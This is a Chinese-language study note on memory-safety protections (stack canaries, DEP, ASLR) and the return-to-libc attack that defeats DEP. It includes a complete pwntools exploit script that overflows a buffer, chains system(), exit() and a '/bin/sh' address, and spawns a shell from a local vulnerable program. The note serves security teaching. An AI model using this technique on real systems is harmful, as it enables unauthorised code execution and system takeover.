Return to libc
ret2libc的意义: 绕过 DEP(Data Execution Prevention)
Canary
- Cannary是一种栈溢出保护机制。是在栈上返回地址前插入一个随机值,该随机值被称为canary。在函数返回前检查canary是否被篡改,如果被篡改,则立刻终止程序
- 原理:栈溢出时会覆盖返回值下方(低位)的内容,即canary
- 带canary的栈布局示意图
DEP
- 可以发现在Stack overflow中介绍的攻击方式是通过拿shell实现的,因此只要禁止在数据段中执行程序就可以阻止该攻击方式。
- DEP就是通过这种方式实现的保护机制
- 相关知识: 冯诺伊曼架构与哈佛架构
- 在冯诺伊曼架构中所有代码都是数据,所以可以通过注入数据插入可执行代码
- 哈佛架构将虚拟地址空间划分为数据区和代码区,代码区是可读(R)和可执行(X)的,数据区域是可读(R)和可写(W)的。任何区域都不能是同时可读,可执行和可写的。
攻破DEP的方式:代码复用攻击
- DEP阻止了我们直接注入代码,但是代码一定要通过外界注入吗?
- 可以发现程序和库同样是有函数的,因此我们可以利用其中的函数构建出我们需要的攻击。
- 理念:重用程序和库中的代码(不需要代码注入)
- return to libc: 将返回地址替换为危险函数的地址
- 例:
1execve("/bin/sh"); - 思路:
- 找到系统函数的地址
- 找到字符串"/bin/sh"
- 将"/bin/sh"传递给系统函数
- 操作:
- Step1: 可以使用gdb来查找系统功能地址
- Step2:
- 使用系统环境变量(不稳定)
- 定义环境变量
- 示例:
1 2 3 4 5 6 7 8 9 10 11 12set MYSHELL=“/bin/sh” int main(int argc, char **argv) { printf("ret2libc start \n"); char *shell = (char *) getenv("MYSHELL"); if (shell) { printf("address %p \n", shell); } vul(); printf("ret2libc end \n"); return 0; }
- 示例:
- Step3:
- 注入:
- 注入后堆栈展示:
- 注入后堆栈展示:
- 构造注入展示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18from pwn import * # 获取地址(需提前泄露) system_addr = 0xb7e3dda0 # system()地址 bin_sh_addr = 0xb7f6e5aa # "/bin/sh"地址 exit_addr = 0xb7e369d0 # exit()地址 (可选) # 构造payload offset = 140 # 到返回地址的偏移量 payload = b'A' * offset # 填充缓冲区 payload += p32(system_addr) # 覆盖返回地址 payload += p32(exit_addr) # system()的返回地址 payload += p32(bin_sh_addr) # 参数1: "/bin/sh" # 发送payload io = process('./vuln_program') io.sendline(payload) io.interactive() - 注入:
对上述ret2libc的防护:ASLR
ASLR:
- 可以发现,上面的攻击方式中的核心步骤之一是获取系统函数的地址,因此容易想到,如果我们能够阻止获取系统函数地址,就可以实现对上述攻击方式的防护。
- ASLR:随机化关键内存基地址
- Linux中ASLR分为三级
- 0:无随机化
- 1:保留的随机化,共享库、栈、mmp()和VSDO随机化
- 2:完全的随机化,通过brk()分配的内存空间也会随机化